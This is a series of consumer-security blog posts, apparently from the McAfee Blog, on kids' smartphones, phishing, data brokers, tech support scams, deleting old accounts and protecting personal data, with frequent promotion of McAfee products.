Parents of tweens and teens know the concerns that come along with smartphone usage, ranging anywhere from cyberbullying, too much screen time, and simply wanting to know what their child is up to on their phone.
As you can imagine, each of these topics deserves its own treatment. The “Family Safety” section of our blog offers parents and their kids alike plenty of resources, and the list below can get you started on a few of the most pressing issues:
Without a doubt, while a child may get their first smartphone to “keep in touch,” that ownership blossoms into something far greater. And quite quickly. As they dive into the world of apps, social media, messaging, and gaming, take an interest, take it as an opportunity to spend time talking about their day and what it was like online.
By asking if they grabbed any cool pictures, what their favorite games are, and how their friends are when your child is texting them, questions like these can open a look into a world that would otherwise remain closed. This way, talking about the phone and what they’re doing on it becomes part of normal, everyday conversation. This can reap benefits down the road when your child encounters the inevitable bumps along the way, whether they’re dealing with a technical issue or something as difficult as cyberbullying or harassment. Talking about their life online on a regular basis may make them more apt to come forward when there’s a problem than they otherwise might.
In all, think of the smartphone as a fast pass into adulthood, thanks to how it puts the entirety of the internet right in your child’s hand. Protecting the device and the kid who’s using it will help ensure they get the absolute best out of all that potential.
The post Getting Your Kids Ready for School—And Their Smartphones Too appeared first on McAfee Blog.
The World Wide Web, invented in 1989 by Tim Berners-Lee, has undoubtedly made our lives more convenient in so many ways.
For example, family road trips looked a lot different than they do today. Preteens were designated backseat navigators, with huge atlases spread across their laps, yelling “Turn left here! No wait, right!” Then, when you finally arrived at your destination, what was there to do? Time to poll the hotel concierge, gas station attendants, and grocery store clerks about the best places to visit and directions on how to get there.
Now, your car and phone can speak to you in a calm voice, guide you where you need to go, and tell you what to do once you get there. Life changing!
However, the Web also has made our lives more complicated in several ways. The number of cybercrimes — in variety and prevalence — seem to rise every day. Luckily, what has also become more sophisticated are our available tools to combat cybercriminals and protect our online information, privacy, and identity.
Here’s a look back at the evolution of cyberthreats and cyber-protection to commemorate World Wide Web Day and share some tips on how to use the Web safely and with confidence.
In the early days of the Web, viruses and malware caused many a desktop computer to fall into disrepair. Though, whenever anyone caught a virus of the cyber variety, they were never too surprised. That was usually the cost of illegally downloading music or videos or clicking on pop-ups from sites that were notorious for spreading malicious software.
Fast forward to today and viruses and malware have been disguised by phishing, a tactic where malicious software is hidden within legitimate-looking electronic correspondences (email, text, or direct message). People are now wise to which sketchy websites to avoid, so, to spread their malicious software, cybercriminals use false authority and play on people’s emotions to get them to click on dangerous links and divulge valuable personal information. Phishing can result in huge financial losses. One study calculates that companies lose $15 million annually to phishing.1 Here are a few tips to avoid falling for a phishing attempt and keep your family’s personal information safe:
In the 1990s, portable phones weren’t in everyone’s pockets. And the cellphones that were available to the public at a reasonable price certainly didn’t connect to the Web. The average person was concerned primarily with their desktop security. As long as users steered clear of malicious software, subscribed to an antivirus, and didn’t leave their password on a sticky note on their desk, they were likely to remain in the clear.
Today, homes have multiple connected devices, all of which require that people protect them with great cyber-habits, passwords, and technology. Even your smart home assistants are vulnerable to cyberthreats. Don’t worry though, there are plenty of easy things you can do every day to keep your family’s information and devices safe.
Starting with passwords: The best passwords and passphrases are the ones you don’t have to remember. Apple is actually trying to eliminate the need for typing in passwords, instead relying on biometric security measures, such as face facial recognition and fingerprint scanning.2 If your device doesn’t have these scanning capabilities, a password manager is an excellent way to safeguard your passwords to all your accounts. McAfee True Key guards your passwords with one of the strongest encryption algorithms available. On top of that, multi-factor authentication is another layer of security that stops thieves from stealing your passwords and trading them on the dark Web. With a password manager, you’ll never have to write down, reuse, or worry about forgetting your password and username combinations.
Next, a VPN for your mobile devices and desktop is another great shield against cybercriminals. A virtual private network hides your location data and makes it extremely difficult for public wi-fi eavesdroppers to track your movements on the Web. It’s a great practice to never connect any device to a public wi-fi connection without a VPN, especially if you’re online shopping, handling sensitive information, or banking online.
Finally, another key tool in ensuring your mobile and desktop security is knowing where you stand: How protected are you? What are some habits you should improve? How can you constantly monitor your safety and be in the know when your status changes? The answer: McAfee Protection Score. This unique service scans your wi-fi connection, the dark Web, and data breach records for threats to your personally identifiable information (PII) and connected device. Then, the software recommends ways to improve your security, in turn boosting your score. It’s a quick and visual way to evaluate your habits and make sure you’re doing everything you can to protect your connected family.
In the infancy of the World Wide Web, identity theft via the internet wasn’t really a thing. Mostly, identities and PII were stolen through discarded mail, overheard conversations, or stealing someone’s physical wallet.
Identity theft is a major concern. Cybercriminals are becoming smarter and more determined to release PII on the dark Web for profit. Phishing, social media snooping, data breaches, and hacking are common modern ways criminals steal valuable personal information, in addition to low-tech dumpster diving and wallet theft. With your full name, birthdate, and Social Security Number, criminals can cause severe damage to your credit that could take years and a large investment to repair.
Some tips to avoid being a victim of identity theft is to improve your phishing detection skills, avoid oversharing on social media, delete old accounts you don’t use anymore and know how to identify the signs of identity theft. An identity monitoring service, like McAfee Advanced Protection, is your all-in-one privacy and identity protection service for your digital life. It covers you for $1 million in identity theft coverage and restoration. Plus, the service includes all the important tools outlined above: antivirus, VPN, password manager, and Protection Score.
The Web, not to be confused with the internet, is the collection of pages that one can access using the internet. You likely use it every day, thus it’s key to navigate it safely and with confidence. The Web has come a long way, and in a decade, it’s likely to look completely different than it does right now. The key is to be adaptable and careful and have the right tools to help you fill in the gaps.
1Ponemon Institute, “The 2021 Cost of Phishing Study”
2CNET, “Apple Is Trying to Kill Passwords With Passkeys Using Touch ID and Face ID”
The post Celebrate World Wide Web Day: The Evolution of Web Safety appeared first on McAfee Blog.
Our personal and professional lives are becoming increasingly intertwined with the online world. Regular internet usage has made us all prone to cyber-security risks. You leave a digital footprint every time you use the internet, which is a trace of all your online activities.
When you create new accounts or subscribe to different websites, you give them explicit (or implicit, through their family of apps or subsidiary websites) access to your personal and credit card information. In other cases, websites might track basic information without your knowledge, such as your location and search history.
There is an industry of data brokers specifically dedicated to keeping track of user data, packaging it, and supplying it to tech companies who use it to run targeted ads and enhance on-platform user experience. Given the widespread use of the internet and exponential improvements in technology, data has become a valuable commodity — creating a need for the sale and purchase of user data.
This article discusses how data brokers sell your personal information and how you can minimize risk.
Data brokers are companies that aggregate user information from various sources on the internet. They collect, collate, package, and sometimes even analyze this data to create a holistic and coherent version of you online. This data is then supplied to tech companies to fuel their third-party advertising-centered business models.
Companies interested in buying data include but are not limited to:
These companies and social media platforms use your data to better understand target demographics and the content with which they interact. While the practice isn’t unethical in and of itself (personalizing user experiences and creating more convenient UIs are usually cited as the primary reasons for it), it does make your data vulnerable to malicious attacks targeted toward big-tech servers.
Most of your online activities are related. Devices like your phone, laptop, tablets, and even fitness watches are linked to each other. Moreover, you might use one email ID for various accounts and subscriptions. This online interconnectedness makes it easier for data brokers to create a cohesive user profile.
Mobile phone apps are the most common way for data brokerage firms to collect your data. You might have countless apps for various purposes, such as financial transactions, health and fitness, or social media.
A number of these apps usually fall under the umbrella of the same or subsidiary family of apps, all of which work toward collecting and supplying data to big tech platforms. Programs like Google’s AdSense make it easier for developers to monetize their apps in exchange for the user information they collect.
Data brokers also collect data points like your home address, full name, Social Security number, phone number, and date of birth. They have automated scraping tools to quickly collect relevant information from public profiles.[Text Wrapping Break]
Lastly, data brokers can gather data from other third parties that track your cookies or even place trackers or cookies on your browsers. Cookies are small data files that track your online activities when visiting different websites. They track your IP address and browsing history, which third parties can exploit. Cookies are also the reason you see personalized ads and products.
Data brokers collate your private information into one package and sell it to “people search” websites like Spokeo or TruePeopleSearch. You or a tech business can use these websites to search for people and get extensive consumer data. People search sites also contain public records like voter registration information, marriage records, and birth certificates. This data is used for consumer research and large-scale data analysis.
Next, marketing and sales firms are some of data brokers’ biggest clients. These companies purchase massive data sets from data brokers to research your data profile. They have advanced algorithms to segregate users into various consumer groups and target you specifically. Their predictive algorithms can suggest personalized ads and products to generate higher lead generation and conversation percentages for their clients.
We tend to accept the terms and conditions that various apps ask us to accept without thinking twice or reading the fine print. You probably cannot proceed without letting the app track certain data or giving your personal information. To a certain extent, we trade some of our privacy for convenience. This becomes public information, and apps and data brokers collect, track, and use our data however they please while still complying with the law.
There is no comprehensive privacy law in the U.S. on a federal level. This allows data brokers to collect personal information and condense it into marketing insights. While not all methods of gathering private data are legal, it is difficult to track the activities of data brokers online (especially on the dark web). As technology advances, there are also easier ways to harvest and exploit data.
Vermont and California have already enacted laws to regulate the data brokerage industry. In 2018, Vermont passed the country’s first data broker legislation. This requires data brokers to register annually with the Secretary of State and provide information about their data collection activities, opt-out policies, purchaser credentialing practices, and data breaches.
California has passed similar laws to make data brokering a more transparent industry. For risk mitigation of data brokerage, the Federal Trade Commission (FTC) has published reports and provided recommendations to Congress to reduce the engagement of data broker firms. Giving individuals the right to opt-out of the sale of their personal data is a step toward a more rigorous law regarding data privacy.
Some data brokers let you remove your information from their websites. There are also extensive guides available online that list the method by which you can opt-out of some of the biggest data brokering firms. For example, a guide by Griffin Boyce, the systems administrator at Harvard University’s Berkman Klein Center for Internet and Society, provides detailed information on how to opt-out of a long list of data broker companies.
Acxiom, LLC is one of the largest data brokering firms and has collected data for approximately 68% of people who have an online presence. You can opt-out of their data collection either through their website or by calling them directly.
Epsilon Data Management is another big player in the data broker industry that operates as a marketing service and marketing analytics company. You can opt-out of their website through various methods such as by email, phone, and mail. Credit rating agencies like Experian and Equifax are also notorious for collecting your data. Similarly, you can opt-out through their websites or by calling them.
McAfee is a pioneer in providing online and offline data protection to its customers. We offer numerous cybersecurity services for keeping your information private and secure.
With regard to data brokers, we enable users to do a personal data clean-up. Cleaning up your personal data online may be a difficult task, as it requires you to reach out to multiple data brokers and opt out. Instead, sign up for McAfee’s Personal Data Cleanup feature to do a convenient and thorough personal data clean-up. We will search for traces of your personal data and assist in getting it removed.
The post How Data Brokers Sell Your Identity appeared first on McAfee Blog.
Authored by Oliver Devane
Technical Support Scams have been targeting computer users for many years. Their goal is to make victims believe they have issues needing to be fixed, and then charge exorbitant fees, which unfortunately some victims pay. This blog post covers a number of example actions, that scammers will go through when they are performing their scams. Our goal is to educate consumers on the signs to look out for, and what to do if they believe they are being scammed.
For a tech support scammer to reach their victims, they need to first find them (or be found by them). One technique we see includes scammers creating Twitter or other social media accounts that post messages claiming to be from the official technical support site. For example, a Twitter account will post a tweet with the hashtags #McAfee and #McAfeeLogin to drive traffic to the tweet and make victims believe the links are legitimate and safe to click.
Scammers behind tech support scams can create very convincing websites which mimic the official ones.
Some fraudulent websites use the McAfee logo or other company logos to try trick individuals. They often invite clicking on a ‘LOGIN’ or ‘ACTIVATE’ link with a similar color scheme to official sites to appear legitimate.
These sites may then ask the victim to enter their real username, password, and phone number. Upon entering these details, websites will usually show an error message to make the victim believe there is an issue with their account.
The error message will usually contain a link that upon clicking will load a chat box where the scammers will initiate a conversation with the victim. At this point, the scammers will have the phone number and email address associated with the victim. They will use this to contact them and make them believe they are an official technical support employee.
The scammer’s next objective is often to gain access to the victim’s computer. They do this so that they can trick the victim into believing there is an issue with their computer and that they need their support services to fix it.
The scammers will do this by either asking the victim to enter a URL that will result in the download of a remote access tool or by providing them with a link in the chat window if they are still speaking to them on the fake support website.
A remote access tool will enable the scammer to take complete control of the victim’s machine. With this, they will be able to remove or install software, access personal data such as documents and cryptocurrency wallets as well as dump passwords from the web browsers so they can then access all the victim’s accounts.
It is vital to not provide remote access to your computer to unknown and unverified individuals, as there could be a big risk to your personal data. Some examples of remote access tools that have legitimate uses but are often used to perpetrate fraud are:
If the scammers are given access to the victim’s machine, they will often make use of the command filename cmd.exe to perform some visual activity on the computer screen which is done to attempt to trick the individual into believing that some malicious activity is occurring on their computer or network. Most people will be unaware of the filename cmd.exe and the actions being used,and thus will be none the wiser to the scammer’s actions.
Here are some examples we have seen scammers use:
Changing the title of cmd.exe to ‘network scanner’ or ‘file scanner’ to make the victim believe they are running a security tool on their machine.
Scammers will make use of standard functions within the cmd.exe file, to make their victims believe they are performing lots of activity. One of these functions is ‘dir’ which will display all the files for a specific directory. For example, if you have a folder called ‘school work’ and have 2 word documents in there, a ‘dir’ query of that folder will appear like this:
What the scammers will do is make use of ‘dir’ and the title function to make you believe they are scanning your machine. Here is an example of running ‘dir’ on the all the files on a machine with the cmd.exe title set to ‘File Scanner’:
A similar function to ‘dir’ called ‘tree’ may also be used. The ‘tree’ function will display directory paths and will generate lots of events on the screen:
Some scammers will also add their phone number to the taskbar of the victim’s machine. They do this by creating a new folder with the phone number as the name and adding it as a toolbar. This is shown in the image below
Scammers may install other software on the victim’s machine or make them believe that they have installed additional software which they will then be charged for.
For example, some scammers may add programs to the desktop of victims which have no purpose, but the scammers insist they are legitimate security tools such as firewalls or network scanners.
Some example filenames are:
The scammers will usually perform some activity on your machine before asking for payment. This is done to build confidence in their work and make you believe they have done some activity and therefore deserve some sort of payment. Do not be fooled by scammers who have not performed any useful activity. As detailed in the previous sections, be careful not to fall victim to fake social media accounts or websites.
This section contains a few signs to look out for which may indicate that you are interacting with a scammer.
Some scammers will become rude and very short with you if you start questioning what they are doing. They may say that you are not technical and do not understand what is occurring. This would not be the behavior of a legitimate technical support operative.
Scammers will encourage you to leave the machine and remote connection on even if you need to go out and leave it unattended. Do not under any circumstances do this as they would then be free to do any activity they wish on your machine and network.
Some files added to your machine by the scammer may be detected by the AV security software. They may act like this is an error and the file is innocent. If you have initiated a remote connection and the controller creates a file on your machine which is detected by the security software, we recommend ceasing the interaction as detailed below.
The following steps should be performed if you believe you are being scammed as part of a tech support scam.
If the machine is connected via a network cable, the easiest way is to unplug it. If the machine is connected via Wi-Fi, there may be a physical switch that can be used to disconnect it. If there is no physical switch, turn off Wi-Fi through the settings or the computer. It can be powered down by pressing the power button.
Hang up the phone (or end the chat) and do not answer any more calls from that number. The scammer will try to make you believe that the call is legitimate and ask you to reconnect the remote-control software.
If the scammer was controlling your machine, the remote-control software will need to be removed. If the computer was powered down, it can be powered back up, but if a popup is shown asking for permission to allow remote access, do not grant it.
The remote software can usually be removed by using the control panel and add/remove programs. To do this, press the Windows key and then perform a search for ‘remove’ and click on ‘Add or remove programs’.
Sort the programs by install date as shown below and then remove the remote software by clicking on the ‘Uninstall’ button. Keep in mind that the software installed on your computer may appear by a different name, but if you look at what was installed on the same day as the scammer initiated the remote control session, you should be able to identify it.
Some scammers may add exclusions for the files they create on your computer so that they are not detected by the security software. We recommend checking the exclusions and if any are present which were not added by yourself to remove them.
A guide for McAfee customers is available here
After removing any software which was installed, we recommend updating your security software and performing a full scan. This will identify any malicious files created by the scammer such as password stealers and keyloggers.
After performing a full scan, we recommend changing all of your passwords as the scammer may have gathered your credentials while they had access to your computer. It is recommended to do this after performing a full scan as the scammers may have placed a password stealer on the computer and any new passwords you enter may also be stolen.
This blog post contains a number of examples that scammers may use to trick consumers into believing that they may have issues with their devices. If you are experiencing issues with your computer and want to speak to official McAfee support, please reach out via the official channel which is https://service.mcafee.com/.
The McAfee support pages can also be accessed directly via the McAfee Total Protection screen as shown below:
McAfee customers utilizing web protection (including McAfee Web Advisor) are protected from known malicious sites.
The post Technical Support Scams – What to look out for appeared first on McAfee Blog.
Private tech companies gather tremendous amounts of user data. These companies can afford to let you use social media platforms free of charge because it’s paid for by your data, attention, and time.
Big tech derives most of its profits by selling your attention to advertisers — a well-known business model. Various documentaries (like Netflix’s “The Social Dilemma”) have attempted to get to the bottom of the complex algorithms that big tech companies employ to mine and analyze user data for the benefit of third-party advertisers.
This article will help you better understand what information is being collected by tech companies, how it’s being used, and how you can protect your privacy online.
Tech companies benefit from personal information by being able to provide personalized ads. When you click “yes” at the end of a terms and conditions agreement found on some web pages, you may be allowing the companies to collect the following data:
For someone unfamiliar with privacy issues, it is important to understand the extent of big tech’s tracking and data collection. Once these companies collect data, all this information can be supplied to third-party businesses or used to improve user experience.
The problem with this is that big tech has blurred the line between collecting customer data and violating user privacy in some cases. While tracking what content you interact with can be justified under the garb of personalizing the content you see, big tech platforms have been known to go too far. Prominent social networks like Facebook and LinkedIn have faced past legal trouble for accessing personal user data like private messages and saved photos.
The information you provide helps build an accurate character profile and turns it into knowledge that gives actionable insights to businesses. Private data usage can be classified into three cases: selling it to data brokers, using it to improve marketing, or enhancing customer experience.
Along with big data, another industry has seen rapid growth: data brokers. Data brokers buy, analyze, and package your data. Companies that collect large amounts of data on their users stand to profit from this service. Selling data to brokers is an important revenue stream for big tech companies.
Advertisers and businesses benefit from increased information on their consumers, creating a high demand for your information. The problem here is that companies like Facebook and Alphabet (Google’s parent company) have been known to mine massive amounts of user data for the sake of their advertisers.
Marketing can be highly personalized thanks to the availability of large amounts of consumer data. Tracking your response to marketing campaigns can help businesses alter or improve certain aspects of their campaign to drive better results.
The problem is that most AI-based algorithms are incapable of assessing when they should stop collecting or using your information. After a point, users run the risk of being constantly subjected to intrusive ads and other unconsented marketing campaigns that pop up frequently.
Analyzing consumer behavior through reviews, feedback, and recommendations can help improve customer experience. Businesses have access to various facets of data that can be analyzed to show them how to meet consumer demands. This could help improve any part of a consumer’s interaction with the company, from designing special offers and discounts to improving customer relationships.
For most social media platforms, the goal is to curate a personalized feed that appeals to the users and allows them to spend more time on the app. When left unmonitored, the powerful algorithms behind these social media platforms can repeatedly subject you to the same kind of content from different creators.
Here are the big tech companies that collect and mine the most user data.
Users need a comprehensive data privacy solution to tackle the rampant, large-scale data mining carried out by big tech platforms. While targeted advertisements and easily found items are beneficial, many of these companies collect and mine user data through several channels simultaneously, exploiting them in many different ways.
It’s important to make sure your personal information is protected. Protection solutions like McAfee’s Personal Data Cleanup feature can help. With this feature, our teams scour the web for traces of your personal information and assist in getting it removed to enhance your online privacy.
McAfee’s Total Protection provides antivirus software for all of your digital devices and a secure VPN connection to avoid exposure to malicious third parties while browsing the internet. Our identity monitoring and personal data removal solutions further remove gaps in your devices’ security systems.
With our airtight data protection and custom guidance (complete with a protection score for each platform and tips to keep you safer), you can be sure that your internet identity is protected.
The post What Personal Data Do Companies Track? appeared first on McAfee Blog.
Your digital footprint grows with every internet account you make. While your old Tumblr account may be fun for reminiscing, dormant accounts are actually one of the most significant sources of user data on the internet. These accounts can be used by data brokers or third parties to access your personal information.
To improve your data security, it’s good practice to remove public-facing information by deleting unused accounts. Simply put, having less personal data stored on the internet reduces the risk of theft and/or non-consensual data usage.
Deleting, canceling, unsubscribing, or removing your account can be a long process, depending on the service. This article will walk you through the simplest ways to delete unwanted accounts from various social media platforms.
Deleting unwanted accounts protects your information and prevents the monetization of your data. Your internet accounts often hold personal information like your name, age, email, or home address. What’s more alarming is that some platforms may even have credit card details, phone numbers, and bank account information.
When left unattended, internet accounts become vulnerable to being suspended or taken over by the platform. This means that if your accounts are left inactive for too long, you might be handing some or all of your data over to the tech platform.
For example, even if you believe an old Google account doesn’t have any sensitive information stored, it may be linked to other platforms you use (like Amazon or Google services like Gmail and Google Play). This exposes all of these accounts to several data privacy vulnerabilities.
Moreover, a recent survey found that 70% of surveyed adults admitted using the same password for more than one service. People who don’t use password managers or reuse passwords are at a greater security risk than others, as multiple accounts can become compromised at once. Whether the platform is now out of service or you are cutting down on your app usage, deleting dormant accounts will minimize security threats and safeguard your data.
Every platform has a different process for deleting accounts: Some take only a few clicks to complete and others are a little longer. Companies usually don’t want a user to stop using their services, so account deletion pages are often hidden in a complex web of tabs that you have to navigate.
In addition, some subscription services might require that you send an email to customer support to close your account. You can go to justdelete.me, an online directory that lets you access direct links to account deletion pages of various web services.
Remember to download your personal information and data before pulling the plug on your account. Most platforms let you download your data before initiating a deletion request, which saves you from losing important details and files. It is also important to check whether your Google account is used for your YouTube channel or connected to other online accounts.
To help you get rid of accounts you no longer use, we’ve broken down deleting accounts from some of the most popular social networks. The steps described below are for a desktop browser and may not apply to Android or iOS devices (unless specified).
Facebook’s user privacy policy enables it to store a large amount of user information, including personal messages, posts, search history, name, age, birthdate, and even metadata from posted photos and videos.
Follow these simple steps to delete your Facebook account:
LinkedIn collects information on users and uses it for targeted advertising. As a result, it amasses quite a lot of your data, from professional details to personal preferences and even your online behavior trail.
Follow these simple steps from your desktop to delete your account:
It’s simple to delete your Twitter account, but you’ll have to wait 30 days for your data and tweets to clear. To delete your account, you first need to deactivate it.
Once you’ve decided to delete your account from the micro-blogging site, follow these steps from your desktop:
Remember to revoke third-party access to your Twitter account to avoid having your account reactivated in the 30 days following deactivation.
Since Facebook and Instagram are both owned by Meta, they share a lot of data for targeted advertising. You can adjust the privacy settings of your Instagram account from the mobile app, but you will need to log in from a web browser like Chrome to delete your account.
To delete your Instagram account:
Your information and data will be permanently deleted after 30 days and you won’t be able to retrieve it. However, completing a deletion process may take up to 90 days.
Tumblr has a fairly simple process to delete your account:
Follow these steps to delete your account from the popular picture-sharing platform:
Pinterest servers continue to store your data after deletion, but your information won’t be visible to other users.
There are different steps to deleting your email account depending on which email service you use. Backing up email data usually takes more time because of the sheer volume of data a mail account can hold.
Complete the following steps to delete your Google account:
Here’s what you need to do to delete your Yahoo email account:
Deleting your Yahoo account also deletes the linked information from Yahoo’s other services.
Follow these steps to delete your Microsoft account on Outlook 2010, 2013, or 2016:
Leaving old information scattered across the internet makes you susceptible to identity theft. There are multiple ways to keep your identity and data secure online, including McAfee’s Total Protection plan.
Total Protection lets you choose from multiple affordable subscription models that provide comprehensive security against identity theft and potential data breaches and offers web protection and several related benefits. In addition, having access to 24/7 online security experts and a 30-day money-back guarantee make the Total Protection plan an easy, reliable, and safe choice. You can also have peace of mind with McAfee’s Personal Data Cleanup feature where our teams will work to find your personal information online and assist in removing it.
The post How to Delete Old Accounts Containing Personal Information appeared first on McAfee Blog.
Whether using the internet for play or work, you want to spend your time online enjoying the peace of mind that comes with having a secure network.
You don’t want to contend with someone taking your personal data — whether it’s credit card information, passwords, or bank account details — via malware or a data breach on your Android, Windows, or Apple iOS device.
Fortunately, with some sensible precautions and simple steps, you can use your connected devices productively without worrying about cybercriminals and malicious software. This article explains how to stop hackers from getting access to your sensitive data.
You can take steps to protect your different computing and mobile devices and operating systems. These steps can be divided into technological solutions and the right awareness and information to provide a comforting measure of self-protection.
It’s like learning karate for self-defense, giving you confidence as you negotiate the wider world (and hoping that you never have to use it).
When it comes to identity protection software, McAfee provides a proven solution with our identity protection and privacy services. The protection includes alerts if your sensitive information is found on the dark web (up to 10 months sooner than other providers), personal data cleanup from sites gathering and selling your information, and an unlimited virtual public network (VPN) service that protects your privacy as you use public Wi-Fi networks.
You’ll also get up to $1 million in identity theft coverage and hands-on restoration support to help you reclaim your identity.
Simple, obvious passwords and passcodes (like your street address, your birthday, your kids’ or pets’ names, or “1234” or “abcd”) are easy for cybercriminals to crack, giving them unwanted access to your private data.
The stronger your password, the better your protection. Some best password practices include:
It’s important not to be a standing target. Just as you should use different passwords for everything, you should regularly change your passwords. You should do this a few times a year (although some cyber experts say this might not be necessary if you have a long and very complicated password).
If you have a number of passwords that you update often, it might be worth getting a password manager like McAfee True Key to keep track of them. Not only will you not be faced with remembering all your different passwords or writing them down (also a no-no), but it can also help you create and store unique passwords.
The software uses the strongest encryption algorithms available to protect your passwords, scrambling them so no one else can access them. It’ll also suggest new passwords and automatically log you into your online accounts with just one master password.
Another important line of defense is multi-factor authentication (sometimes known as two-factor authentication). This system uses a password and a second piece of verification — often an SMS message sent to your Android device or iPhone — to authenticate your identity.
This provides hard-to-beat protection even if a hacker has your password. Besides receiving SMS codes, there are also code-generating apps and physical security keys.
Thinking before you click on an email or text is a very important defense against phishing scams. Your bank won’t send you an email or text notifying you that there’s been suspicious activity on your account.
Does getting a large refund from your phone company sound too good to be true? It is. Similarly, the Internal Revenue Service (IRS) won’t text to tell you that you owe them money, and princes aren’t going to give you a fortune out of the blue.
Internet users beware: If you’re not absolutely certain that the text message you received is from a legitimate and trusted source, delete it. You can always contact the business or person directly to confirm that the message is legit.
Any operating system or app you use is open to malicious cyberattacks. This is why you should keep all your software up to date with the latest versions. Software developers are continually fixing holes in their products and offering cybersecurity patches to make them as safe and hacker-proof as possible.
Make sure your software, firmware, and security settings are up to date on your home’s Wi-Fi router, as well. You can often change your settings to allow for automatic updates.
Sure, who doesn’t like to go to a cafe, library, or hotel lobby to use the free Wi-Fi? But security is often weak in these public networks. If you open your online banking account or access personal information, you may unwittingly be giving a personal invitation to eavesdropping cybercriminals.
This is where the bank-grade level of protection of McAfee Secure VPN comes in, which automatically turns on when you need it and keeps you safe on public Wi-Fi networks.
Even if your device does get hacked, you can protect vital information on your Windows or macOS system with an encryption program like BitLocker or FileVault. You can protect any hard drive you use, including portable ones and USB keys.
It’s also a good idea to only shop at encrypted websites marked with the prefix “HTTPS” in their URLs.
One of the best ways to surf the web in comfort while keeping hackers at bay is with the comprehensive solutions provided by McAfee Total Protection.
Your protection includes proactive measures (meaning we’ll guide you to the best choices for prevention), early detection, and expert identity theft support.
This means you’ll get identity monitoring, up to $1 million in identity theft coverage, lost wallet protection, premium antivirus software, a secure VPN, and personal data removal. In particular, our Personal Data Cleanup service will help find and remove your personal information from data broker websites and people search sites.
With McAfee, you don’t have to be afraid of hackers. Let us deal with them.
The post How to Stay One Step Ahead of Hackers appeared first on McAfee Blog.
Here’s one way you can help reduce your chances of identity theft: remove your personal information from the internet.
And chances are, you have more personal information posted online than you think.
According to the U.S. Federal Trade Commission (FTC), consumers registered 1.4 million identity theft complaints in 2021, all part of a year where consumers reported losing $5.8 billion to fraud overall—a 70% increase over the year prior.
What fuels all this theft and fraud? Access to personal information.
Scammers and thieves can get a hold of personal information in several ways, such as through phishing attacks that lure you into handing it over, malware that steals it from your devices, by purchasing your information on dark web marketplaces, or as a result of information leaked in data breaches, just to name a few.
However, scammers and thieves have other resources to help them commit theft and fraud—data broker sites, places where personal information is posted online for practically anyone to see. Which makes removing your info from them so important, from both an identity and privacy standpoint.
Think of data broker sites as huge repositories of personal information. Search your name and address online and you’ll see. You’ll likely find dozens of sites that turn up information about you, some of which offer a few pieces for free and others that offer far more information for a price.
Data brokers collect and then aggregate personal information from several sources, including:
Data brokers also buy personal information from other data brokers. As a result, some data brokers have thousands of pieces of data for billions of individuals worldwide.
What could that look like? A broker may know how much you paid for your home, your education level, where you’ve lived over the years and who your lived with, your driving record, and possibly your political leanings. A broker may also know your favorite flavor of ice cream and your preferred over-the-counter allergy medicine thanks to information from loyalty cards. Further, they may also have health-related information from fitness apps. The amount of personal information can run that broadly, and that deeply.
With information at this potential level of detail, it’s no wonder that data brokers rake in an estimated at $200 billion U.S. dollars worldwide every year.
On the legitimate side, it’s used by advertisers to create targeted ad campaigns. With information sold by data brokers, they can generate lists based on highly specific criteria, such as shopping histories, personal interests, and even political leanings as mentioned above. Likely without you being aware of it—and likely with no way to contest that information if it’s incorrect.
Other legitimate uses include using these sites for background checks. Law enforcement, reporters, and employers will use data brokers as a starting point for research because the leg work has largely been done for them. Namely, data brokers have aggregated a person’s information already, which is an otherwise time-consuming process.
If this seems a little shady, it’s still legal. As of now, the U.S. has no federal laws that regulate data brokers or require data them to remove personal information if requested. A few states, such as Nevada, Vermont, and California, have legislation in place aimed at protecting consumers. Meanwhile, the General Data Protection Regulation (GDPR) in the European Union has stricter rules about what information can be collected and what can be done with it. Still, the data broker economy thrives.
On the darker side, scammers and thieves use personal information for identity theft and fraud. With enough personal information gathered from enough sources, they can create a high-fidelity profile of their victims. One that gives them enough information to open new accounts in their name.
So, from the standpoint of both privacy and identity, cleaning up your personal information online makes a great deal of sense.
Let’s review some ways you can remove your personal information from data brokers and other sources on the internet.
The process starts with finding the sites that have your information. From there, you can request to have it removed. Yet as mentioned above, there are dozens and dozens of these sites. Knowing where to start is a challenge in of itself, as is manually making the requests once you have identified the sites that post and sell information about you.
Our Personal Data Cleanup can do the work for you. Personal Data Cleanup scans some of the riskiest data broker sites and shows you which ones are selling your personal info. It also provides guidance on how you can remove your data from those sites and can even manage the removal for you depending on your plan. It also monitors those sites, so if your info gets posted again, you can request its removal again.
As of September 2022, Google accounts for just over 92% of search engine market share worldwide. Aside from being a search engine, Google offers a myriad of other services and applications, such as Gmail and Google Maps. While Google offers plenty of tools for productivity, travel, work, and play for free, they still come at a cost—the gathering and analysis of your personal information.
You can limit the data Google associates with you by removing your name from Google search results with a removal request. This will disable anyone online from getting any results if they search your name. (Note that this will not remove your information from the original sites and sources where it’s posted.) Moreover, Google collects all your browsing data continuously. You have the option to turn on “Auto Delete” in your privacy settings to ensure that the data is deleted regularly and help limit the amount of time your sensitive data stays vulnerable.
You can also occasionally delete your cookies or use your browser in incognito mode to prevent websites from being tracked back to you. Go to your Google Chrome settings to clear your browser and cookie history.
As discussed above, data brokers can collect information from public social media profiles. You can minimize your presence on social media to the bare minimum. Make a list of the ones you use or have used in the past. If there are old accounts that you no longer use or websites that have gone by the wayside like Myspace or Tumblr, you may want to deactivate them or consider deleting them entirely.
For social media platforms that you still may use regularly, like Facebook and Instagram, consider adjusting your privacy settings to ensure that your personal information on these social media platforms is the bare minimum. For example, on Facebook you can lock your profile, while on Instagram you can stay private.
If you’ve ever published articles, written blogs, or created any content online, it might be a good time to consider taking it down if it is no longer serving a purpose. Depending on what you’ve posted, you may have shared personal details about your life. Additionally, you might be mentioned by other people in various social media posts, articles, or blogs. It is worth reaching out to these people to request them to take down posts with sensitive information.
Social media and online articles that host your personal information are often used when businesses or hackers are doing “internet scrapes” to find better ways to use your targeted information. Asking your friends or third-party sites to remove that information can help protect your privacy.
Another way you can tidy up your digital footprint online involves deleting all the unnecessary phone apps that you no longer need or use. Even when apps are not open or in use, they may be able to track personal information such as your real-time location and even your payment details if you have a paid subscription to the app.
Some apps even sell this data as it can be extremely advantageous to other companies, which they use to target certain consumer segments and profiles for advertising. Try to share as little information with apps as possible if you’re looking to minimize your online footprint, and provide them access to your photos, contacts, and location only on as-needed basis and only when the app is in use. Your phone’s app and location services settings will give you the tools to do it.
In addition to the steps above, comprehensive online protection software can keep you more private and minimize your risk of cybercrime. It can include:
So while it may seem like all this rampant collecting and selling of personal information is out of your hands, there’s plenty you can do to take control. With the steps outlined above and strong online protection software at your back, you can keep your personal information more private and secure.
